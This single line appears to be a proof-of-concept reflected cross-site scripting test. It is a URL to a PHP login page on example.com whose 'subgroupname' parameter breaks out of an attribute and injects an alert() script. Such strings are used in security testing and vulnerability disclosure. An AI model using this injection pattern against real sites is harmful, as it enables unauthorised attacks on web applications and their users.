http://www.example.com/loginreq2.php?subgroupname="><script>alert(666)</script>